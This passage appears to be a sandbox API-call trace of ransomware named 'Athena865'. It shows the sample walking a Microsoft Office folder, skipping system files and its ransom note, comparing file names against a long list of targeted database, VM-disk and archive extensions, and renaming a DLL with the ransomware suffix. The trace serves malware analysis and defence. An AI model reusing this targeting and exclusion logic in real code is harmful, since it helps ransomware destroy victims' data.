ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".") returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="..") returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="windows") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="bootmgr") returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="temp") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="pagefile.sys") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="boot") returned 1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="ids.txt") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="ntuser.dat") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="perflogs") returned -1 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="MSBuild") returned -1 [0072.349] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0072.349] lstrcpyW (in: lpString1=0x241e89e, lpString2="GROOVEEX.DLL" | out: lpString1="GROOVEEX.DLL") returned="GROOVEEX.DLL" [0072.349] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0072.349] lstrlenW (lpString="Athena865") returned 9 [0072.349] lstrcmpiW (lpString1="OVEEX.DLL", lpString2="Athena865") returned 1 [0072.349] lstrlenW (lpString=".dll") returned 4 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".dll") returned 1 [0072.349] lstrlenW (lpString=".lnk") returned 4 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".lnk") returned 1 [0072.349] lstrlenW (lpString=".ini") returned 4 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".ini") returned 1 [0072.349] lstrlenW (lpString=".sys") returned 4 [0072.349] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".sys") returned 1 [0072.349] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0072.349] lstrlenW (lpString="bak") returned 3 [0072.349] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.349] lstrlenW (lpString="ba_") returned 3 [0072.349] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.350] lstrlenW (lpString="dbb") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.350] lstrlenW (lpString="vmdk") returned 4 [0072.350] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.350] lstrlenW (lpString="rar") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.350] lstrlenW (lpString="zip") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.350] lstrlenW (lpString="tgz") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.350] lstrlenW (lpString="vbox") returned 4 [0072.350] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.350] lstrlenW (lpString="vdi") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.350] lstrlenW (lpString="vhd") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.350] lstrlenW (lpString="vhdx") returned 4 [0072.350] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.350] lstrlenW (lpString="avhd") returned 4 [0072.350] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.350] lstrlenW (lpString="db") returned 2 [0072.350] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.350] lstrlenW (lpString="db2") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.350] lstrlenW (lpString="db3") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.350] lstrlenW (lpString="dbf") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.350] lstrlenW (lpString="mdf") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.350] lstrlenW (lpString="mdb") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.350] lstrlenW (lpString="sql") returned 3 [0072.350] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.351] lstrlenW (lpString="sqlite") returned 6 [0072.351] lstrcmpiW (lpString1="EX.DLL", lpString2="sqlite") returned -1 [0072.351] lstrlenW (lpString="sqlite3") returned 7 [0072.351] lstrcmpiW (lpString1="EEX.DLL", lpString2="sqlite3") returned -1 [0072.351] lstrlenW (lpString="sqlitedb") returned 8 [0072.351] lstrcmpiW (lpString1="VEEX.DLL", lpString2="sqlitedb") returned 1 [0072.351] lstrlenW (lpString="xml") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.351] lstrlenW (lpString="$er") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.351] lstrlenW (lpString="4dd") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.351] lstrlenW (lpString="4dl") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.351] lstrlenW (lpString="^^^") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.351] lstrlenW (lpString="abs") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.351] lstrlenW (lpString="abx") returned 3 [0072.351] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.351] lstrlenW (lpString="accdb") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accdb") returned 1 [0072.351] lstrlenW (lpString="accdc") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accdc") returned 1 [0072.351] lstrlenW (lpString="accde") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accde") returned 1 [0072.351] lstrlenW (lpString="accdr") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accdr") returned 1 [0072.351] lstrlenW (lpString="accdt") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accdt") returned 1 [0072.351] lstrlenW (lpString="accdw") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accdw") returned 1 [0072.351] lstrlenW (lpString="accft") returned 5 [0072.351] lstrcmpiW (lpString1="X.DLL", lpString2="accft") returned 1 [0072.352] lstrlenW (lpString="adb") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.352] lstrlenW (lpString="adb") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.352] lstrlenW (lpString="ade") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.352] lstrlenW (lpString="adf") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.352] lstrlenW (lpString="adn") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.352] lstrlenW (lpString="adp") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.352] lstrlenW (lpString="alf") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.352] lstrlenW (lpString="ask") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.352] lstrlenW (lpString="btr") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.352] lstrlenW (lpString="cat") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.352] lstrlenW (lpString="cdb") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.352] lstrlenW (lpString="ckp") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.352] lstrlenW (lpString="cma") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.352] lstrlenW (lpString="cpd") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.352] lstrlenW (lpString="dacpac") returned 6 [0072.352] lstrcmpiW (lpString1="EX.DLL", lpString2="dacpac") returned 1 [0072.352] lstrlenW (lpString="dad") returned 3 [0072.352] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.352] lstrlenW (lpString="dadiagrams") returned 10 [0072.352] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="dadiagrams") returned 1 [0072.352] lstrlenW (lpString="daschema") returned 8 [0072.353] lstrcmpiW (lpString1="VEEX.DLL", lpString2="daschema") returned 1 [0072.353] lstrlenW (lpString="db-journal") returned 10 [0072.353] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="db-journal") returned 1 [0072.353] lstrlenW (lpString="db-shm") returned 6 [0072.353] lstrcmpiW (lpString1="EX.DLL", lpString2="db-shm") returned 1 [0072.353] lstrlenW (lpString="db-wal") returned 6 [0072.353] lstrcmpiW (lpString1="EX.DLL", lpString2="db-wal") returned 1 [0072.353] lstrlenW (lpString="dbc") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.353] lstrlenW (lpString="dbs") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.353] lstrlenW (lpString="dbt") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.353] lstrlenW (lpString="dbv") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.353] lstrlenW (lpString="dbx") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.353] lstrlenW (lpString="dcb") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.353] lstrlenW (lpString="dct") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.353] lstrlenW (lpString="dcx") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.353] lstrlenW (lpString="ddl") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.353] lstrlenW (lpString="dlis") returned 4 [0072.353] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.353] lstrlenW (lpString="dp1") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.353] lstrlenW (lpString="dqy") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0072.353] lstrlenW (lpString="dsk") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0072.353] lstrlenW (lpString="dsn") returned 3 [0072.353] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0072.354] lstrlenW (lpString="dtsx") returned 4 [0072.354] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0072.354] lstrlenW (lpString="dxl") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0072.354] lstrlenW (lpString="eco") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0072.354] lstrlenW (lpString="ecx") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0072.354] lstrlenW (lpString="edb") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0072.354] lstrlenW (lpString="epim") returned 4 [0072.354] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0072.354] lstrlenW (lpString="fcd") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0072.354] lstrlenW (lpString="fdb") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0072.354] lstrlenW (lpString="fic") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0072.354] lstrlenW (lpString="flexolibrary") returned 12 [0072.354] lstrlenW (lpString="fm5") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0072.354] lstrlenW (lpString="fmp") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0072.354] lstrlenW (lpString="fmp12") returned 5 [0072.354] lstrcmpiW (lpString1="X.DLL", lpString2="fmp12") returned 1 [0072.354] lstrlenW (lpString="fmpsl") returned 5 [0072.354] lstrcmpiW (lpString1="X.DLL", lpString2="fmpsl") returned 1 [0072.354] lstrlenW (lpString="fol") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0072.354] lstrlenW (lpString="fp3") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0072.354] lstrlenW (lpString="fp4") returned 3 [0072.354] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0072.354] lstrlenW (lpString="fp5") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0072.355] lstrlenW (lpString="fp7") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0072.355] lstrlenW (lpString="fpt") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0072.355] lstrlenW (lpString="frm") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0072.355] lstrlenW (lpString="gdb") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.355] lstrlenW (lpString="gdb") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.355] lstrlenW (lpString="grdb") returned 4 [0072.355] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0072.355] lstrlenW (lpString="gwi") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0072.355] lstrlenW (lpString="hdb") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0072.355] lstrlenW (lpString="his") returned 3 [0072.355] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0072.355] lstrlenW (lpString="ib") returned 2 [0072.355] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0072.355] lstrlenW (lpString="idb") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0072.356] lstrlenW (lpString="ihx") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0072.356] lstrlenW (lpString="itdb") returned 4 [0072.356] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0072.356] lstrlenW (lpString="itw") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0072.356] lstrlenW (lpString="jet") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0072.356] lstrlenW (lpString="jtx") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0072.356] lstrlenW (lpString="kdb") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0072.356] lstrlenW (lpString="kexi") returned 4 [0072.356] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0072.356] lstrlenW (lpString="kexic") returned 5 [0072.356] lstrcmpiW (lpString1="X.DLL", lpString2="kexic") returned 1 [0072.356] lstrlenW (lpString="kexis") returned 5 [0072.356] lstrcmpiW (lpString1="X.DLL", lpString2="kexis") returned 1 [0072.356] lstrlenW (lpString="lgc") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0072.356] lstrlenW (lpString="lwx") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0072.356] lstrlenW (lpString="maf") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0072.356] lstrlenW (lpString="maq") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0072.356] lstrlenW (lpString="mar") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0072.356] lstrlenW (lpString="marshal") returned 7 [0072.356] lstrcmpiW (lpString1="EEX.DLL", lpString2="marshal") returned -1 [0072.356] lstrlenW (lpString="mas") returned 3 [0072.356] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0072.356] lstrlenW (lpString="mav") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0072.357] lstrlenW (lpString="maw") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0072.357] lstrlenW (lpString="mdbhtml") returned 7 [0072.357] lstrcmpiW (lpString1="EEX.DLL", lpString2="mdbhtml") returned -1 [0072.357] lstrlenW (lpString="mdn") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0072.357] lstrlenW (lpString="mdt") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0072.357] lstrlenW (lpString="mfd") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0072.357] lstrlenW (lpString="mpd") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0072.357] lstrlenW (lpString="mrg") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0072.357] lstrlenW (lpString="mud") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0072.357] lstrlenW (lpString="mwb") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0072.357] lstrlenW (lpString="myd") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0072.357] lstrlenW (lpString="ndf") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0072.357] lstrlenW (lpString="nnt") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0072.357] lstrlenW (lpString="nrmlib") returned 6 [0072.357] lstrcmpiW (lpString1="EX.DLL", lpString2="nrmlib") returned -1 [0072.357] lstrlenW (lpString="ns2") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0072.357] lstrlenW (lpString="ns3") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0072.357] lstrlenW (lpString="ns4") returned 3 [0072.357] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0072.357] lstrlenW (lpString="nsf") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0072.358] lstrlenW (lpString="nv") returned 2 [0072.358] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0072.358] lstrlenW (lpString="nv2") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0072.358] lstrlenW (lpString="nwdb") returned 4 [0072.358] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0072.358] lstrlenW (lpString="nyf") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0072.358] lstrlenW (lpString="odb") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.358] lstrlenW (lpString="odb") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.358] lstrlenW (lpString="oqy") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0072.358] lstrlenW (lpString="ora") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0072.358] lstrlenW (lpString="orx") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0072.358] lstrlenW (lpString="owc") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0072.358] lstrlenW (lpString="p96") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0072.358] lstrlenW (lpString="p97") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0072.358] lstrlenW (lpString="pan") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0072.358] lstrlenW (lpString="pdb") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0072.358] lstrlenW (lpString="pdm") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0072.358] lstrlenW (lpString="pnz") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0072.358] lstrlenW (lpString="qry") returned 3 [0072.358] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0072.359] lstrlenW (lpString="qvd") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0072.359] lstrlenW (lpString="rbf") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0072.359] lstrlenW (lpString="rctd") returned 4 [0072.359] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0072.359] lstrlenW (lpString="rod") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0072.359] lstrlenW (lpString="rodx") returned 4 [0072.359] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0072.359] lstrlenW (lpString="rpd") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0072.359] lstrlenW (lpString="rsd") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0072.359] lstrlenW (lpString="sas7bdat") returned 8 [0072.359] lstrcmpiW (lpString1="VEEX.DLL", lpString2="sas7bdat") returned 1 [0072.359] lstrlenW (lpString="sbf") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0072.359] lstrlenW (lpString="scx") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0072.359] lstrlenW (lpString="sdb") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0072.359] lstrlenW (lpString="sdc") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0072.359] lstrlenW (lpString="sdf") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0072.359] lstrlenW (lpString="sis") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0072.359] lstrlenW (lpString="spq") returned 3 [0072.359] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0072.359] lstrlenW (lpString="te") returned 2 [0072.359] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0072.359] lstrlenW (lpString="teacher") returned 7 [0072.359] lstrcmpiW (lpString1="EEX.DLL", lpString2="teacher") returned -1 [0072.359] lstrlenW (lpString="tmd") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0072.360] lstrlenW (lpString="tps") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0072.360] lstrlenW (lpString="trc") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.360] lstrlenW (lpString="trc") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.360] lstrlenW (lpString="trm") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0072.360] lstrlenW (lpString="udb") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0072.360] lstrlenW (lpString="udl") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0072.360] lstrlenW (lpString="usr") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0072.360] lstrlenW (lpString="v12") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0072.360] lstrlenW (lpString="vis") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0072.360] lstrlenW (lpString="vpd") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0072.360] lstrlenW (lpString="vvv") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0072.360] lstrlenW (lpString="wdb") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0072.360] lstrlenW (lpString="wmdb") returned 4 [0072.360] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0072.360] lstrlenW (lpString="wrk") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0072.360] lstrlenW (lpString="xdb") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0072.360] lstrlenW (lpString="xld") returned 3 [0072.360] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0072.360] lstrlenW (lpString="xmlff") returned 5 [0072.360] lstrcmpiW (lpString1="X.DLL", lpString2="xmlff") returned -1 [0072.360] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865") returned 65 [0072.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.athena865"), dwFlags=0x1) returned 1 [0072.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0072.362] GetLastError () returned 0x20 [0072.362] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL CreateFile error 32\r\n") returned 85 [0072.362] lstrlenA (lpString="[ERROR] C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL CreateFile error 32\r\n") returned 85 [0072.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0072.362] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d84 [0072.362] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x55, lpOverlapped=0x0) returned 1 [0072.363] CloseHandle (hObject=0x17c) returned 1 [0072.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.athena865"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), dwFlags=0x1) returned 1 [0072.364] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0072.364] CloseHandle (hObject=0x0) returned 0 [0072.364] CloseHandle (hObject=0xffffffff) returned 0 [0072.364] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0072.364] lstrcmpiW 